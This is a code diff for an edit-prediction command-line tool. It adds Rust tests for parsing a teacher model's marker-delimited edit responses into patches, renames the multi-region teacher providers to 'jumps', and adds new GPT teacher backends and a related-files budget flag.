+        assert_eq!(prompt.matches("let x = 1;").count(), 1);
+        assert!(prompt.contains("<|user_cursor|>let x = 1;"));
+    }
+
+    #[test]
+    fn test_teacher_jumps_cursor_file_with_coinciding_worktree_root_name() {
+        // Worktree root `jaq` contains a `jaq/` subdirectory: the cursor path
+        // is `jaq/src/main.rs` while the related-file entry is prefixed with
+        // the root name (`jaq/jaq/src/main.rs`).
+        let mut example = make_example("fn main() {\n    let x = 1;\n}\n", 16, &[]);
+        example.spec.cursor_path = std::sync::Arc::from(std::path::Path::new("jaq/src/main.rs"));
+        {
+            let prompt_inputs = example.prompt_inputs.as_mut().unwrap();
+            prompt_inputs.cursor_path = std::path::Path::new("jaq/src/main.rs").into();
+            prompt_inputs.related_files.as_mut().unwrap()[0].path =
+                std::sync::Arc::from(std::path::Path::new("jaq/jaq/src/main.rs"));
+        }
+
+        let prompt = TeacherJumpsPrompt::format_prompt(&example, 8192).unwrap();
+        assert!(prompt.contains("<|user_cursor|>let x = 1;"));
+
+        let marker_table =
+            hashed_regions::build_marker_table(example.prompt_inputs.as_ref().unwrap());
+        let cursor_markers = &marker_table[0].markers;
+        let start_tag = hashed_regions::marker_tag(&cursor_markers[0].0);
+        let end_tag = hashed_regions::marker_tag(&cursor_markers[cursor_markers.len() - 1].0);
+        let response =
+            format!("`````\n{start_tag}\nfn main() {{\n    let x = 2;\n}}\n{end_tag}\n`````\n");
+        let (patch, _) = TeacherJumpsPrompt::parse(&example, &response).unwrap();
+        assert!(patch.contains("--- a/jaq/src/main.rs"), "patch: {patch}");
+    }
+
+    #[test]
+    fn test_teacher_jumps_format_prompt_requires_current_file_context() {
+        let mut example = make_example("fn main() {}\n", 0, &[]);
+        example.prompt_inputs.as_mut().unwrap().related_files = Some(Vec::new());
+        assert!(TeacherJumpsPrompt::format_prompt(&example, 8192).is_err());
+    }
+
+    #[test]
+    fn test_teacher_jumps_synthesizes_missing_cursor_file_excerpt() {
+        // Simulate a settled-data sample: `cursor_excerpt` is present, but the
+        // related-file excerpts of the cursor file don't cover the cursor (only
+        // an unrelated fragment elsewhere in the file).
+        let mut example = make_example("fn main() {\n    let x = 1;\n}\n", 16, &[]);
+        {
+            let prompt_inputs = example.prompt_inputs.as_mut().unwrap();
+            prompt_inputs.related_files.as_mut().unwrap()[0].excerpts =
+                vec![zeta_prompt::RelatedExcerpt {
+                    row_range: 40..42,
+                    text: std::sync::Arc::from("// unrelated\n// fragment\n"),
+                    order: 0,
+                    context_source: zeta_prompt::ContextSource::Bm25,
+                }];
+        }
+
+        // Without a covering cursor-file excerpt, formatting hard-errors.
+        assert!(TeacherJumpsPrompt::format_prompt(&example, 8192).is_err());
+
+        // `ensure_cursor_file_excerpt` (in zeta_prompt) synthesizes one from
+        // `cursor_excerpt`, so the prompt formats with the cursor in the
+        // current-file window and the unrelated fragment is replaced (no
+        // duplicated content with overlapping markers).
+        hashed_regions::ensure_cursor_file_excerpt(example.prompt_inputs.as_mut().unwrap());
+        let prompt = TeacherJumpsPrompt::format_prompt(&example, 8192).unwrap();
+        assert!(prompt.contains("<|user_cursor|>let x = 1;"));
+        assert!(!prompt.contains("// unrelated"));
+        assert_eq!(prompt.matches("let x = 1;").count(), 1);
+    }
+
+    #[test]
+    fn test_teacher_jumps_cursor_file_hunks_are_file_absolute() {
+        let mut example = make_example("fn main() {\n    let x = 1;\n}\n", 16, &[]);
+        {
+            let prompt_inputs = example.prompt_inputs.as_mut().unwrap();
+            prompt_inputs.excerpt_start_row = Some(10);
+            prompt_inputs.related_files.as_mut().unwrap()[0].excerpts[0].row_range = 10..13;
+        }
+        let marker_table =
+            hashed_regions::build_marker_table(example.prompt_inputs.as_ref().unwrap());
+        let cursor_markers = &marker_table[0].markers;
+        let start_tag = hashed_regions::marker_tag(&cursor_markers[0].0);
+        let end_tag = hashed_regions::marker_tag(&cursor_markers[cursor_markers.len() - 1].0);
+
+        let response = format!(
+            "The user is changing x.\n\n`````\n{start_tag}\nfn main() {{\n    let x = 2;<|user_cursor|>\n}}\n{end_tag}\n`````\n"
+        );
+        let (patch, cursor) = TeacherJumpsPrompt::parse(&example, &response).unwrap();
+
+        // Hunk rows are file-absolute (1-based in the hunk header, excerpt
+        // starts at 0-based row 10).
+        assert!(patch.contains("@@ -11,"), "patch: {patch}");
+        let cursor = cursor.unwrap();
+        assert_eq!(cursor.row, 11);
+    }
+
+    #[test]
+    fn test_teacher_jumps_parse_single_edit_in_cursor_file() {
+        let example = make_example("fn main() {\n    let x = 1;\n}\n", 16, &[]);
+        let marker_table =
+            hashed_regions::build_marker_table(example.prompt_inputs.as_ref().unwrap());
+        let cursor_markers = &marker_table[0].markers;
+        let start_tag = hashed_regions::marker_tag(&cursor_markers[0].0);
+        let end_tag = hashed_regions::marker_tag(&cursor_markers[cursor_markers.len() - 1].0);
+
+        let response = format!(
+            "The user is changing x.\n\n`````\n{start_tag}\nfn main() {{\n    let x = 2;<|user_cursor|>\n}}\n{end_tag}\n`````\n"
+        );
+        let (patch, cursor) = TeacherJumpsPrompt::parse(&example, &response).unwrap();
+
+        assert!(patch.contains("--- a/src/main.rs"), "patch: {patch}");
+        assert!(patch.contains("-    let x = 1;"), "patch: {patch}");
+        assert!(patch.contains("+    let x = 2;"), "patch: {patch}");
+        let cursor = cursor.unwrap();
+        assert_eq!(cursor.path, "src/main.rs");
+        assert_eq!(cursor.row, 1);
+    }
+
+    #[test]
+    fn test_teacher_jumps_parse_sequence_across_files() {
+        let example = make_example(
+            "fn fetch_user_cached() {}\n",
+            0,
+            &[(
+                "src/server.rs",
+                &[("fn handle() {\n    fetch_user();\n}\n", 10)],
+            )],
+        );
+        let marker_table =
+            hashed_regions::build_marker_table(example.prompt_inputs.as_ref().unwrap());
+        assert_eq!(marker_table.len(), 2);
+        let related_markers = &marker_table[1].markers;
+        let start_tag = hashed_regions::marker_tag(&related_markers[0].0);
+        let end_tag = hashed_regions::marker_tag(&related_markers[related_markers.len() - 1].0);
+
+        let response = format!(
+            "Updating the call site to use the new name.\n\n\
+             `````\n{start_tag}\nfn handle() {{\n    fetch_user_cached();\n}}\n{end_tag}\n`````\n"
+        );
+        let (patch, cursor) = TeacherJumpsPrompt::parse(&example, &response).unwrap();
+
+        assert!(patch.contains("--- a/src/server.rs"), "patch: {patch}");
+        assert!(patch.contains("-    fetch_user();"), "patch: {patch}");
+        assert!(
+            patch.contains("+    fetch_user_cached();"),
+            "patch: {patch}"
+        );
+        // Hunk rows are file-absolute for related files (1-based in the
+        // hunk header, excerpt starts at 0-based row 10).
+        assert!(patch.contains("@@ -11,"), "patch: {patch}");
+        assert!(cursor.is_none());
+    }
+
+    #[test]
+    fn test_teacher_jumps_parse_multiple_edits_same_file() {
+        let cursor_excerpt = "\
+            fn alpha() {\n    one();\n}\n\nfn beta() {\n    two();\n}\n\n\
+            fn gamma() {\n    three();\n}\n\nfn delta() {\n    four();\n}\n";
+        let example = make_example(cursor_excerpt, 0, &[]);
+        let marker_table =
+            hashed_regions::build_marker_table(example.prompt_inputs.as_ref().unwrap());
+        let markers = &marker_table[0].markers;
+        assert!(
+            markers.len() >= 3,
+            "expected internal markers, got {markers:?}"
+        );
+
+        // First edit: between the first two markers; second edit: between the
+        // second and last markers.
+        let tag = |ix: usize| hashed_regions::marker_tag(&markers[ix].0);
+        let old_first_span = &cursor_excerpt[markers[0].1..markers[1].1];
+        let old_second_span = &cursor_excerpt[markers[1].1..markers[markers.len() - 1].1];
+        let new_first_span = old_first_span.replace("one()", "uno()");
+        let new_second_span = old_second_span.replace("four()", "cuatro()");
+
+        let response = format!(
+            "Renaming calls.\n\n`````\n{}\n{}{}\n`````\n\n`````\n{}\n{}{}\n`````\n",
+            tag(0),
+            new_first_span,
+            tag(1),
+            tag(1),
+            new_second_span,
+            tag(markers.len() - 1),
+        );
+        let (patch, _) = TeacherJumpsPrompt::parse(&example, &response).unwrap();
+
+        assert!(patch.contains("+    uno();"), "patch: {patch}");
+        assert!(patch.contains("+    cuatro();"), "patch: {patch}");
+        assert_eq!(patch.matches("--- a/src/main.rs").count(), 1);
+    }
+
+    #[test]
+    fn test_teacher_jumps_parse_no_edits() {
+        let example = make_example("fn main() {}\n", 0, &[]);
+        let (patch, cursor) =
+            TeacherJumpsPrompt::parse(&example, "All good.\n\n`````\nNO_EDITS\n`````\n").unwrap();
+        assert!(patch.is_empty());
+        assert!(cursor.is_none());
+    }
+
+    #[test]
+    fn test_teacher_jumps_parse_rejects_truncated_span() {
+        let cursor_excerpt = "\
+            fn alpha() {\n    one();\n}\n\nfn beta() {\n    two();\n}\n\n\
+            fn gamma() {\n    three();\n}\n\nfn delta() {\n    four();\n}\n";
+        let example = make_example(cursor_excerpt, 0, &[]);
+        let marker_table =
+            hashed_regions::build_marker_table(example.prompt_inputs.as_ref().unwrap());
+        let markers = &marker_table[0].markers;
+        assert!(markers.len() >= 3);
+        let start_tag = hashed_regions::marker_tag(&markers[0].0);
+        let end_tag = hashed_regions::marker_tag(&markers[markers.len() - 1].0);
+
+        // The model reproduces only the head of the span and stops before the
+        // end marker; accepting this would silently delete the rest.
+        let head = &cursor_excerpt[markers[0].1..markers[1].1];
+        let response = format!("Minor cleanup.\n\n`````\n{start_tag}\n{head}{end_tag}\n`````\n");
+        let error = TeacherJumpsPrompt::parse(&example, &response).unwrap_err();
+        assert!(
+            error.to_string().contains("looks truncated"),
+            "unexpected error: {error}"
+        );
+    }
+
+    #[test]
+    fn test_teacher_jumps_parse_rejects_tail_deletion_after_head_edit() {
+        let cursor_excerpt = "\
+            fn alpha() {\n    one();\n}\n\nfn beta() {\n    two();\n}\n\n\
+            fn gamma() {\n    three();\n}\n\nfn delta() {\n    four();\n}\n";
+        let example = make_example(cursor_excerpt, 0, &[]);
+        let marker_table =
+            hashed_regions::build_marker_table(example.prompt_inputs.as_ref().unwrap());
+        let markers = &marker_table[0].markers;
+        assert!(markers.len() >= 3);
+        let start_tag = hashed_regions::marker_tag(&markers[0].0);
+        let end_tag = hashed_regions::marker_tag(&markers[markers.len() - 1].0);
+
+        // The dropped tail is large enough to trip the trailing-deletion check.
+        let tail = &cursor_excerpt[markers[1].1..];
+        assert!(tail.lines().filter(|line| !line.trim().is_empty()).count() > 3);
+
+        // The model makes a real edit at the head of the span, reproduces
+        // some context, and then stops before the end marker. The replacement
+        // is not a verbatim prefix of the span, but the tail is still
+        // silently deleted.
+        let head = &cursor_excerpt[markers[0].1..markers[1].1];
+        assert!(head.contains("fn alpha()"));
+        let edited_head = head.replacen("fn alpha()", "fn alpha_renamed()", 1);
+        let response =
+            format!("Renaming alpha.\n\n`````\n{start_tag}\n{edited_head}{end_tag}\n`````\n");
+        let error = TeacherJumpsPrompt::parse(&example, &response).unwrap_err();
+        assert!(
+            error.to_string().contains("looks truncated"),
+            "unexpected error: {error}"
+        );
+    }
+
+    #[test]
+    fn test_teacher_jumps_parse_allows_mid_span_deletion() {
+        let cursor_excerpt = "\
+            fn alpha() {\n    one();\n}\n\nfn beta() {\n    two();\n}\n\n\
+            fn gamma() {\n    three();\n}\n\nfn delta() {\n    four();\n}\n";
+        let example = make_example(cursor_excerpt, 0, &[]);
+        let marker_table =
+            hashed_regions::build_marker_table(example.prompt_inputs.as_ref().unwrap());
+        let markers = &marker_table[0].markers;
+        assert!(markers.len() >= 3);
+        let start_tag = hashed_regions::marker_tag(&markers[0].0);
+        let end_tag = hashed_regions::marker_tag(&markers[markers.len() - 1].0);
+
+        // Deleting code in the middle while reproducing the span's tail shows
+        // the model kept writing to the end marker, so it must be accepted.
+        let head = &cursor_excerpt[markers[0].1..markers[1].1];
+        let reproduced_tail = &cursor_excerpt[markers[markers.len() - 2].1..];
+        assert!(!reproduced_tail.trim().is_empty());
+        let response = format!(
+            "Removing the middle.\n\n`````\n{start_tag}\n{head}{reproduced_tail}{end_tag}\n`````\n"
+        );
+        let (patch, _) = TeacherJumpsPrompt::parse(&example, &response).unwrap();
+        assert!(patch.contains("-fn beta() {"), "patch: {patch}");
+    }
+
+    #[test]
+    fn test_teacher_jumps_parse_allows_small_tail_deletion() {
+        let cursor_excerpt = "\
+            fn alpha() {\n    one();\n}\n\nfn beta() {\n    two();\n}\n\n\
+            fn gamma() {\n    three();\n}\n\nfn delta() {\n    four();\n}\n";
+        let example = make_example(cursor_excerpt, 0, &[]);
+        let marker_table =
+            hashed_regions::build_marker_table(example.prompt_inputs.as_ref().unwrap());
+        let markers = &marker_table[0].markers;
+        let start_tag = hashed_regions::marker_tag(&markers[0].0);
+        let end_tag = hashed_regions::marker_tag(&markers[markers.len() - 1].0);
+
+        // Dropping only the last line of the span may be a genuine
+        // end-of-snippet deletion, so it stays below the threshold.
+        let new_span = cursor_excerpt.strip_suffix("}\n").unwrap();
+        let response =
+            format!("Dropping the brace.\n\n`````\n{start_tag}\n{new_span}{end_tag}\n`````\n");
+        let (patch, _) = TeacherJumpsPrompt::parse(&example, &response).unwrap();
+        assert!(patch.contains("-}"), "patch: {patch}");
+    }
+
+    #[test]
+    fn test_teacher_jumps_parse_allows_empty_span_deletion() {
+        let cursor_excerpt = "\
+            fn alpha() {\n    one();\n}\n\nfn beta() {\n    two();\n}\n\n\
+            fn gamma() {\n    three();\n}\n\nfn delta() {\n    four();\n}\n";
+        let example = make_example(cursor_excerpt, 0, &[]);
+        let marker_table =
+            hashed_regions::build_marker_table(example.prompt_inputs.as_ref().unwrap());
+        let markers = &marker_table[0].markers;
+        assert!(markers.len() >= 3);
+        let start_tag = hashed_regions::marker_tag(&markers[0].0);
+        let end_tag = hashed_regions::marker_tag(&markers[1].0);
+
+        // Deleting an entire span by replacing it with nothing is fine.
+        let response = format!("Removing alpha.\n\n`````\n{start_tag}\n{end_tag}\n`````\n");
+        let (patch, _) = TeacherJumpsPrompt::parse(&example, &response).unwrap();
+        assert!(patch.contains("-fn alpha() {"), "patch: {patch}");
+    }
+
+    #[test]
+    fn test_teacher_jumps_parse_span_across_contiguous_excerpts() {
+        // Two excerpts of src/lib.rs with touching row ranges (5..8 and
+        // 8..11) render seamlessly in the prompt, so the model may span a
+        // single edit across the excerpt boundary.
+        let example = make_example(
+            "fn main() {}\n",
+            0,
+            &[(
+                "src/lib.rs",
+                &[
+                    ("fn a() {\n    one();\n}\n", 5),
+                    ("fn b() {\n    two();\n}\n", 8),
+                ],
+            )],
+        );
+        let marker_table =
+            hashed_regions::build_marker_table(example.prompt_inputs.as_ref().unwrap());
+        assert_eq!(marker_table.len(), 3);
+        let start_tag = hashed_regions::marker_tag(&marker_table[1].markers[0].0);
+        let last_markers = &marker_table[2].markers;
+        let end_tag = hashed_regions::marker_tag(&last_markers[last_markers.len() - 1].0);
+
+        let response = format!(
+            "Renaming both.\n\n`````\n{start_tag}\nfn a() {{\n    uno();\n}}\nfn b() {{\n    dos();\n}}\n{end_tag}\n`````\n"
+        );
+        let (patch, _) = TeacherJumpsPrompt::parse(&example, &response).unwrap();
+
+        assert!(patch.contains("+    uno();"), "patch: {patch}");
+        assert!(patch.contains("+    dos();"), "patch: {patch}");
+        assert_eq!(patch.matches("--- a/src/lib.rs").count(), 1);
+        // Hunk rows are file-absolute (merged region starts at 0-based row 5).
+        assert!(patch.contains("@@ -6,"), "patch: {patch}");
+    }
+
+    #[test]
+    fn test_teacher_jumps_parse_insertion_at_contiguous_excerpt_seam() {
+        // The two markers at the seam between contiguous excerpts map to the
+        // same merged offset; bracketing them expresses a pure insertion.
+        let example = make_example(
+            "fn main() {}\n",
+            0,
+            &[(
+                "src/lib.rs",
+                &[
+                    ("fn a() {\n    one();\n}\n", 5),
+                    ("fn b() {\n    two();\n}\n", 8),
+                ],
+            )],
+        );
+        let marker_table =
+            hashed_regions::build_marker_table(example.prompt_inputs.as_ref().unwrap());
+        assert_eq!(marker_table.len(), 3);
+        let first_markers = &marker_table[1].markers;
+        let start_tag = hashed_regions::marker_tag(&first_markers[first_markers.len() - 1].0);
+        let end_tag = hashed_regions::marker_tag(&marker_table[2].markers[0].0);
+
+        let response = format!(
+            "Adding a function between a and b.\n\n`````\n{start_tag}\nfn between() {{}}\n{end_tag}\n`````\n"
+        );
+        let (patch, _) = TeacherJumpsPrompt::parse(&example, &response).unwrap();
+
+        assert!(patch.contains("+fn between() {}"), "patch: {patch}");
+        assert!(
+            !patch.contains("-\n"),
+            "patch should be pure insertion: {patch}"
+        );
+        // Insertion lands between the excerpts (after 0-based row 7).
+        assert!(patch.contains("@@ -6,"), "patch: {patch}");
+    }
+
+    #[test]
+    fn test_teacher_jumps_parse_rejects_span_across_gapped_excerpts() {
+        // Same file, but the excerpts don't touch (5..8 and 20..23): rows in
+        // between were never shown to the model, so a span across them is
+        // invalid.
+        let example = make_example(
+            "fn main() {}\n",
+            0,
+            &[(
+                "src/lib.rs",
+                &[
+                    ("fn a() {\n    one();\n}\n", 5),
+                    ("fn b() {\n    two();\n}\n", 20),
+                ],
+            )],
+        );
+        let marker_table =
+            hashed_regions::build_marker_table(example.prompt_inputs.as_ref().unwrap());
+        assert_eq!(marker_table.len(), 3);
+        let start_tag = hashed_regions::marker_tag(&marker_table[1].markers[0].0);
+        let last_markers = &marker_table[2].markers;
+        let end_tag = hashed_regions::marker_tag(&last_markers[last_markers.len() - 1].0);
+
+        let response = format!(
+            "Renaming both.\n\n`````\n{start_tag}\nfn a() {{\n    uno();\n}}\nfn b() {{\n    dos();\n}}\n{end_tag}\n`````\n"
+        );
+        let error = TeacherJumpsPrompt::parse(&example, &response).unwrap_err();
+        assert!(
+            error.to_string().contains("different context snippets"),
+            "unexpected error: {error}"
+        );
+    }
+
+    #[test]
+    fn test_teacher_jumps_parse_rejects_unknown_marker() {
+        let example = make_example("fn main() {}\n", 0, &[]);
+        let response = "`````\n<|marker_zzzz|>\nnew\n<|marker_yyyy|>\n`````\n";
+        assert!(TeacherJumpsPrompt::parse(&example, response).is_err());
+    }
+
+    #[test]
+    fn test_extract_all_codeblocks_multiple() {
+        let text = indoc::indoc! {"
+            First edit:
+
+            `````
+            block one
+            `````
+
+            Second edit:
+
+            `````
+            block two
+            with ``` nested
+            `````
+            "};
+        let blocks = extract_all_codeblocks(text);
+        assert_eq!(
+            blocks,
+            vec![
+                "block one\n".to_string(),
+                "block two\nwith ``` nested\n".to_string()
+            ]
+        );
+    }
 
     #[test]
     fn test_extract_last_code_block() {
diff --git a/crates/edit_prediction_cli/src/main.rs b/crates/edit_prediction_cli/src/main.rs
index 78f8324432d6a2..a449b8d4be942d 100644
--- a/crates/edit_prediction_cli/src/main.rs
+++ b/crates/edit_prediction_cli/src/main.rs
@@ -342,6 +342,9 @@ struct ReadArgs {}
 struct FormatPromptArgs {
     #[clap(long, short('p'), default_value_t = PredictionProvider::default())]
     provider: PredictionProvider,
+    /// Token budget for related-file context in teacher-jumps prompts.
+    #[clap(long, default_value_t = format_prompt::TeacherJumpsPrompt::DEFAULT_RELATED_FILES_BUDGET)]
+    related_files_budget: usize,
 }
 
 #[derive(Debug, Args, Clone)]
@@ -396,6 +399,8 @@ pub enum TeacherBackend {
     #[default]
     Sonnet45,
     Gpt52,
+    Gpt54,
+    Gpt55,
 }
 
 impl std::fmt::Display for TeacherBackend {
@@ -404,6 +409,8 @@ impl std::fmt::Display for TeacherBackend {
             TeacherBackend::Sonnet46 => write!(f, "sonnet46"),
             TeacherBackend::Sonnet45 => write!(f, "sonnet45"),
             TeacherBackend::Gpt52 => write!(f, "gpt52"),
+            TeacherBackend::Gpt54 => write!(f, "gpt54"),
+            TeacherBackend::Gpt55 => write!(f, "gpt55"),
         }
     }
 }
@@ -415,10 +422,12 @@ impl std::str::FromStr for TeacherBackend {
         match s.to_lowercase().as_str() {
             "sonnet45" | "sonnet" | "claude" => Ok(TeacherBackend::Sonnet45),
             "sonnet46" => Ok(TeacherBackend::Sonnet46),
-            "gpt52" | "gpt" | "openai" => Ok(TeacherBackend::Gpt52),
+            "gpt52" => Ok(TeacherBackend::Gpt52),
+            "gpt54" | "gpt" | "openai" => Ok(TeacherBackend::Gpt54),
+            "gpt55" => Ok(TeacherBackend::Gpt55),
             "v0114180editableregion" => Ok(TeacherBackend::Sonnet45),
             _ => anyhow::bail!(
-                "unknown teacher backend `{s}`. Valid options: sonnet45, sonnet46, gpt52"
+                "unknown teacher backend `{s}`. Valid options: sonnet45, sonnet46, gpt52, gpt54, gpt55"
             ),
         }
     }
@@ -430,6 +439,8 @@ impl TeacherBackend {
             TeacherBackend::Sonnet45 => "claude-sonnet-4-5",
             TeacherBackend::Sonnet46 => "claude-sonnet-4-6",
             TeacherBackend::Gpt52 => "gpt-5.2",
+            TeacherBackend::Gpt54 => "gpt-5.4",
+            TeacherBackend::Gpt55 => "gpt-5.5",
         }
     }
 }
@@ -441,9 +452,9 @@ enum PredictionProvider {
     Zeta2(ZetaFormat),
     Baseten(ZetaFormat),
     Teacher(TeacherBackend, ZetaFormat),
-    TeacherMultiRegion(TeacherBackend),
+    TeacherJumps(TeacherBackend),
     TeacherNonBatching(TeacherBackend, ZetaFormat),
-    TeacherMultiRegionNonBatching(TeacherBackend),
+    TeacherJumpsNonBatching(TeacherBackend),
     Repair,
 }
 
@@ -463,14 +474,14 @@ impl std::fmt::Display for PredictionProvider {
             PredictionProvider::Teacher(backend, format) => {
                 write!(f, "teacher:{backend}:{format:?}")
             }
-            PredictionProvider::TeacherMultiRegion(backend) => {
-                write!(f, "teacher-multi-region:{backend}")
+            PredictionProvider::TeacherJumps(backend) => {
+                write!(f, "teacher-jumps:{backend}")
             }
             PredictionProvider::TeacherNonBatching(backend, format) => {
                 write!(f, "teacher-non-batching:{backend}:{format:?}")
             }
-            PredictionProvider::TeacherMultiRegionNonBatching(backend) => {
-                write!(f, "teacher-multi-region-non-batching:{backend}")
+            PredictionProvider::TeacherJumpsNonBatching(backend) => {
+                write!(f, "teacher-jumps-non-batching:{backend}")
             }
             PredictionProvider::Repair => write!(f, "repair"),
         }
@@ -499,19 +510,19 @@ impl std::str::FromStr for PredictionProvider {
                 let (backend, format) = parse_teacher_args(arg)?;
                 Ok(PredictionProvider::TeacherNonBatching(backend, format))
             }
-            "teacher-multi-region" | "teacher_multi_region" => {
+            "teacher-jumps" | "teacher_jumps" => {
                 let backend = arg
                     .map(|a| a.parse())
                     .transpose()?
                     .unwrap_or(TeacherBackend::default());
-                Ok(PredictionProvider::TeacherMultiRegion(backend))
+                Ok(PredictionProvider::TeacherJumps(backend))
             }
-            "teacher-multi-region-non-batching" | "teacher_multi_region_non_batching" => {
+            "teacher-jumps-non-batching" | "teacher_jumps_non_batching" => {
                 let backend = arg
                     .map(|a| a.parse())
                     .transpose()?
                     .unwrap_or(TeacherBackend::default());
-                Ok(PredictionProvider::TeacherMultiRegionNonBatching(backend))
+                Ok(PredictionProvider::TeacherJumpsNonBatching(backend))
             }
             "repair" => Ok(PredictionProvider::Repair),
             "baseten" => {
@@ -523,9 +534,9 @@ impl std::str::FromStr for PredictionProvider {
             }
             _ => {
                 anyhow::bail!(
-                    "unknown provider `{provider}`. Valid options: mercury, zeta1, zeta2, zeta2:<version>, teacher, teacher:<backend>, teacher-multi-region, teacher-multi-region:<backend>, teacher-non-batching, teacher-multi-region-non-batching, repair\n\
+                    "unknown provider `{provider}`. Valid options: mercury, zeta1, zeta2, zeta2:<version>, teacher, teacher:<backend>, teacher-jumps, teacher-jumps:<backend>, teacher-non-batching, teacher-jumps-non-batching, repair\n\
                  For zeta2, you can optionally specify a version like `zeta2:ordered` or `zeta2:V0113_Ordered`.\n\
-                 For teacher providers, you can specify a backend like `teacher:sonnet46`, `teacher-multi-region:sonnet46`, `teacher-multi-region-non-batching:sonnet46`, or `teacher:gpt52`.\n\
+                 For teacher providers, you can specify a backend like `teacher:sonnet46`, `teacher-jumps:sonnet46`, `teacher-jumps-non-batching:sonnet46`, or `teacher:gpt52`.\n\
                  Available zeta versions:\n{}",
                     ZetaFormat::options_as_string()
                 )
@@ -614,32 +625,23 @@ mod tests {
     use super::*;
 
     #[test]
-    fn prediction_provider_multi_region_non_batched_round_trips_to_primary_spelling() {
-        let provider: PredictionProvider = "teacher-multi-region-non-batching:sonnet46"
-            .parse()
-            .unwrap();
+    fn prediction_provider_jumps_non_batched_round_trips_to_primary_spelling() {
+        let provider: PredictionProvider = "teacher-jumps-non-batching:sonnet46".parse().unwrap();
         assert_eq!(
             provider,
-            PredictionProvider::TeacherMultiRegionNonBatching(TeacherBackend::Sonnet46)
-        );
-        assert_eq!(
-            provider.to_string(),
-            "teacher-multi-region-non-batching:sonnet46"
+            PredictionProvider::TeacherJumpsNonBatching(TeacherBackend::Sonnet46)
         );
+        assert_eq!(provider.to_string(), "teacher-jumps-non-batching:sonnet46");
     }
 
     #[test]
-    fn prediction_provider_multi_region_non_batched_alias_round_trips_to_primary_spelling() {
-        let provider: PredictionProvider =
-            "teacher_multi_region_non_batching:gpt52".parse().unwrap();
+    fn prediction_provider_jumps_non_batched_alias_round_trips_to_primary_spelling() {
+        let provider: PredictionProvider = "teacher_jumps_non_batching:gpt52".parse().unwrap();
         assert_eq!(
             provider,
-            PredictionProvider::TeacherMultiRegionNonBatching(TeacherBackend::Gpt52)
-        );
-        assert_eq!(
-            provider.to_string(),
-            "teacher-multi-region-non-batching:gpt52"
+            PredictionProvider::TeacherJumpsNonBatching(TeacherBackend::Gpt52)
         );
+        assert_eq!(provider.to_string(), "teacher-jumps-non-batching:gpt52");
     }
 }
 
diff --git a/crates/edit_prediction_cli/src/parse_output.rs b/crates/edit_prediction_cli/src/parse_output.rs
index c8e0fa7568cb2b..c6ce8094653dd2 100644
--- a/crates/edit_prediction_cli/src/parse_output.rs
+++ b/crates/edit_prediction_cli/src/parse_output.rs
@@ -1,11 +1,13 @@
 use crate::{
     PredictionProvider,
     example::{ActualCursor, Example},
-    format_prompt::{TeacherMultiRegionPrompt, TeacherPrompt},
+    format_prompt::{TeacherJumpsPrompt, TeacherPrompt},
     repair,
 };
 use anyhow::{Context as _, Result};
-use zeta_prompt::{ZetaFormat, parse_zeta2_model_output, parsed_output_to_patch};
+use zeta_prompt::{
+    ZetaFormat, parse_zeta2_model_output, parse_zeta2_model_output_as_patch, parsed_output_to_patch,
+};
 
 pub fn run_parse_output(example: &mut Example) -> Result<()> {
     example
@@ -40,9 +42,8 @@ pub fn parse_prediction_output(
         PredictionProvider::Teacher(_, _) | PredictionProvider::TeacherNonBatching(_, _) => {
             TeacherPrompt::parse(example, actual_output)
         }
-        PredictionProvider::TeacherMultiRegion(_)
-        | PredictionProvider::TeacherMultiRegionNonBatching(_) => {
-            TeacherMultiRegionPrompt::parse(example, actual_output)
+        PredictionProvider::TeacherJumps(_) | PredictionProvider::TeacherJumpsNonBatching(_) => {
+            TeacherJumpsPrompt::parse(example, actual_output)
         }
         PredictionProvider::Zeta2(version) => parse_zeta2_output(example, actual_output, version),
         PredictionProvider::Repair => repair::parse(example, actual_output),
@@ -63,6 +64,13 @@ fn parse_zeta2_output(
         .as_ref()
         .context("prompt_inputs required")?;
 
+    if format == ZetaFormat::V0615HashRegions {
+        return Ok((
+            parse_zeta2_model_output_as_patch(actual_output, format, prompt_inputs)?,
+            None,
+        ));
+    }
+
     let parsed = parse_zeta2_model_output(actual_output, format, prompt_inputs)?;
     let range_in_excerpt = parsed.range_in_excerpt.clone();
     let excerpt = prompt_inputs.cursor_excerpt.as_ref();
diff --git a/crates/edit_prediction_cli/src/predict.rs b/crates/edit_prediction_cli/src/predict.rs
index a0e1ffdcafccd3..643b0bf6fd8ba0 100644
--- a/crates/edit_prediction_cli/src/predict.rs
+++ b/crates/edit_prediction_cli/src/predict.rs
@@ -2,7 +2,7 @@ use crate::{
     FormatPromptArgs, PredictArgs, PredictionProvider, TeacherBackend,
     anthropic_client::AnthropicClient,
     example::{Example, ExamplePrediction, ExamplePrompt},
-    format_prompt::{TeacherMultiRegionPrompt, TeacherPrompt, run_format_prompt},
+    format_prompt::{TeacherJumpsPrompt, TeacherPrompt, run_format_prompt},
     headless::EpAppState,
     load_project::run_load_project,
     openai_client::OpenAiClient,
@@ -57,16 +57,10 @@ pub async fn run_prediction(
         );
     };
 
-    if matches!(
-        provider,
-        PredictionProvider::TeacherMultiRegion(..)
-            | PredictionProvider::TeacherMultiRegionNonBatching(..)
-    ) {
-        anyhow::bail!("Teacher multi-region providers are not supported for prediction.");
-    }
-
     if let PredictionProvider::Teacher(backend, _)
-    | PredictionProvider::TeacherNonBatching(backend, _) = provider
+    | PredictionProvider::TeacherNonBatching(backend, _)
+    | PredictionProvider::TeacherJumps(backend)
+    | PredictionProvider::TeacherJumpsNonBatching(backend) = provider
     {
         run_context_retrieval(
             example,
@@ -79,7 +73,10 @@ pub async fn run_prediction(
         .await?;
         run_format_prompt(
             example,
-            &FormatPromptArgs { provider },
+            &FormatPromptArgs {
+                provider,
+                related_files_budget: TeacherJumpsPrompt::DEFAULT_RELATED_FILES_BUDGET,
+            },
             app_state.clone(),
             example_progress,
             cx,
@@ -89,7 +86,7 @@ pub async fn run_prediction(
         let step_progress = example_progress.start(Step::Predict);
         let batched = matches!(
             provider,
-            PredictionProvider::Teacher(..) | PredictionProvider::TeacherMultiRegion(..)
+            PredictionProvider::Teacher(..) | PredictionProvider::TeacherJumps(..)
         );
         return predict_teacher(
             example,
@@ -107,6 +104,7 @@ pub async fn run_prediction(
             example,
             &FormatPromptArgs {
                 provider: PredictionProvider::Zeta2(format),
+                related_files_budget: TeacherJumpsPrompt::DEFAULT_RELATED_FILES_BUDGET,
             },
             app_state.clone(),
             example_progress,
@@ -161,9 +159,9 @@ pub async fn run_prediction(
             PredictionProvider::Zeta2(_) => edit_prediction::EditPredictionModel::Zeta,
             PredictionProvider::Mercury => edit_prediction::EditPredictionModel::Mercury,
             PredictionProvider::Teacher(..)
